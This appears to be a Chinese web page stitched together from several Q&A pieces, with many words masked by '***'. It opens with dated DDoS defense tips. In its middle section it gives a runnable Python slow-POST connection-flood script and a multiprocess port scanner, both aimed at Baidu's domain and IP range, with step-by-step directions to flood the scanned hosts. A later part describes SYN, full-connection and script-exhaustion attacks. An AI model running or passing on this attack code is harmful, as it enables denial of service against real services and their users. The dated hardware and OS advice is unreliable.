如何有效防御DDOS攻击？
11种 *** 教你有效防御DDOS攻击：
1、采用高性能的 *** 设备
首先要保证 *** 设备不能成为瓶颈，因此选择路由器、交换机、硬件防火墙等设备的时候要尽量选用知名度高、口碑好的产品。再就是假如和 *** 提供商有特殊关系或协议的话就更好了，当大量攻击发生的时候请他们在 *** 接点处做一下流量限制来对抗某种类的DDOS攻击是非常有效的。
2、尽量避免NAT的使用
无论是路由器还是硬件防护墙设备要尽量避免采用 *** 地址转换NAT的使用，因为采用此技术会较大降低 *** 通信能力，其实原因很简单，因为NAT需要对地址来回转换，转换过程中需要对 *** 包的校验和进行计算，因此浪费了很多CPU的时间，但有些时候必须使用NAT，那就没有好办法了。
3、充足的 *** 带宽保证
*** 带宽直接决定了能抗受攻击的能力，假若仅仅有10M带宽的话，无论采取什么措施都很难对抗现在的SYNFlood攻击，当前至少要选择100M的共享带宽，更好的当然是挂在1000M的主干上了。但需要注意的是，主机上的网卡是1000M的并不意味着它的 *** 带宽就是千兆的，若把它接在100M的交换机上，它的实际带宽不会超过100M，再就是接在100M的带宽上也不等于就有了百兆的带宽，因为 *** 服务商很可能会在交换机上限制实际带宽为10M，这点一定要搞清楚。
4、升级主机服务器硬件
在有 *** 带宽保证的前提下，请尽量提升硬件配置，要有效对抗每秒10万个SYN攻击包，服务器的配置至少应该为：P42.4G/DDR512M/SCSI-HD，起关键作用的主要是CPU和内存，若有志强双CPU的话就用它，内存一定要选择DDR的高速内存，硬盘要尽量选择SCSI的，别贪图IDE价格不贵量还足的便宜，否则会付出高昂的性能代价，再就是网卡一定要选用3COM或Intel等名牌的，若是Realtek的还是用在自己的PC上吧。
5、将网站做成静态页面或者伪静态
事实证明，将网站做成静态页面，不仅能大大提高抗攻击能力，而且还给黑客入侵带来不少麻烦，至少到现在为止关于HTML的溢出还没出现。现在很多门户网站主要都是静态页面，若你非要动态脚本调用，那就把它弄到另外一个单独主机，免的遭受攻击时连累主服务器。当然，适当放一些不做数据库调用脚本还是可以的，此外，更好在需要调用数据库的脚本中拒绝使用 *** 的访问，因为经验表明使用 *** 访问你网站的80%属于恶意行为。
6、增强操作系统的TCP/IP栈
win2000和win2003作为服务器操作系统，本身就具备一定的抵抗DDOS攻击的能力，只是默认状态下没有开启而已，若开启的话可抵抗约10000个SYN攻击包，若没有开启则仅能抵抗数百个。
7、安装专业抗DDOS防火墙
8、HTTP请求拦截
如果恶意请求有特征，对付起来很简单，直接拦截就可以。HTTP请求的特征一般有两种：IP地址和User Agent字段。
9、备份网站
你要有一个备份网站，或者更低限度有一个临时主页。生产服务器万一下线了，可以立刻切换到备份网站，不至于毫无办法。
备份网站不一定是全功能的，如果能做到全静态浏览，就能满足需求，更低限度应该可以显示公告，告诉用户，网站出了问题，正在抢修。这种临时主页建议放到Github
Pages或者Netlify，它们的带宽大，可以应对攻击，而且都支持绑定域名，还能从源码自动构建。
10、部署CDN
CDN指的是网站的静态内容分布到多个服务器，用户就近访问，提高速度。因此，CDN也是带宽扩容的一种 *** ，可以用来防御DDOS攻击。
网站内容存放在源服务器，CDN上面是内容的缓存。用户只允许访问CDN，如果内容不在CDN上，CDN再向源服务器发出请求。这样的话，只要CDN够大，就可以抵御很大的攻击。不过，这种 *** 有一个前提，网站的大部分内容必须可以静态缓存。对于动态内容为主的网站，就要想别的办法，尽量减少用户对动态数据的请求;本质就是自己搭建一个微型CDN。各大云服务商提供的高防IP，背后也是这样做的：网站域名指向高防IP，它提供了一个缓冲层，清洗流量，并对源服务器的内容进行缓存。
这里有一个关键点，一旦上了CDN，千万不要泄露源服务器的IP地址，否则攻击者可以绕过CDN直接攻击源服务器，前面的努力都白费了。
11、其他防御手段
以上的几条建议，适合绝大多数拥有自己主机的用户，但假如采取以上措施后仍然不能解决DDOS问题，就比较麻烦了，可能需要更多投资，增加服务器数量并采用DNS轮巡或负载均衡技术，甚至需要购买七层交换机设备，从而使得抗DDOS攻击能力成倍提高，只要投资足够深入。
如何进行DDOS攻击怎么做
会Python吗？下一个Python3.7.0-3.7.3,把代码复制下，粘贴即可
代码：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名，要保证他联网了或开机了，这里拿百度做示范（别运行！不然后果自负！！）
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站，以上代码虽然可行，但是，攻击效果很不好。
所以，更好用Windows里的PING进行检测
操作：
在Windows搜索栏里输入：cmd
输入：
ping -n 10 -l 1 baidu.com
//这里拿百度做示范，别真打百度！
那么，就会发现，系统反映了：
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10，已接收 = 10，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
最短 = 26ms，最长 = 29ms，平均 = 27ms
说明，百度的服务器有一个主服务器是39.156.69.79
那么，就来查找百度的所有服务器吧！
输入以下代码：
#绝大多数成功的 *** 攻击都是以端口扫描开始的，在 *** 安全和黑客领域，端口扫描是经常用到的技术，可以探测指定主机上是否
#开放了指定端口，进一步判断主机是否运行了某些重要的 *** 服务，最终判断是否存在潜在的安全漏洞，从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理，并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池，允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个，因为要扫描这段区域内的IP，从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程，同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池，close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现，Python反映了：
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器！而是我们目前只能扫描到两个！
接着，运行DDoS攻击程序，把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注：请不要用于违法用途，并且不要随意进行攻击。如想使用，可攻击虚拟机，但不要攻击外网IP和域名！！！
*** 安全技术 常见的DDoS攻击 *** 有哪些
常见的DDoS攻击 *** 有：
1、SYN/ACK Flood攻击
这种攻击 *** 是经典最有效的DDOS攻击 *** ，可通杀各种系统的 *** 服务，主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包，导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务，由于源都是伪造的故追踪起来比较困难，缺点是实施起来有一定难度，需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问，但却可以Ping的通，在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态，大量的这种攻击会导致Ping失败、TCP/IP栈失效，并会出现系统凝固现象，即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。
2、TCP全连接攻击
这种攻击是为了绕过常规防火墙的检查而设计的，一般情况下，常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力，但对于正常的TCP连接是放过的，殊不知很多 *** 服务程序（如：IIS、Apache等Web服务器）能接受的TCP连接数是有限的，一旦有大量的TCP连接，即便是正常的，也会导致网站访问非常缓慢甚至无法访问，TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接，直到服务器的内存等资源被耗尽而被拖跨，从而造成拒绝服务，这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的，缺点是需要找很多僵尸主机，并且由于僵尸主机的IP是暴露的，因此此种DDOS攻击方式容易被追踪。
3、刷Script脚本攻击
这种攻击主要是针对存在ASP、 *** P、PHP、CGI等脚本程序，并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的，特征是和服务器建立正常的TCP连接，并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用，典型的以小博大的攻击 *** 。一般来说，提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的，而服务器为处理此请求却可能要从上万条记录中去查出某个记录，这种处理过程对资源的耗费是很大的，常见的数据库服务器很少能支持数百个查询指令同时执行，而这对于客户端来说却是轻而易举的，因此攻击者只需通过Proxy *** 向主机服务器大量递交查询指令，只需数分钟就会把服务器资源消耗掉而导致拒绝服务，常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护，轻松找一些Proxy *** 就可实施攻击，缺点是对付只有静态页面的网站效果会大打折扣，并且有些Proxy会暴露DDOS攻击者的IP地址。
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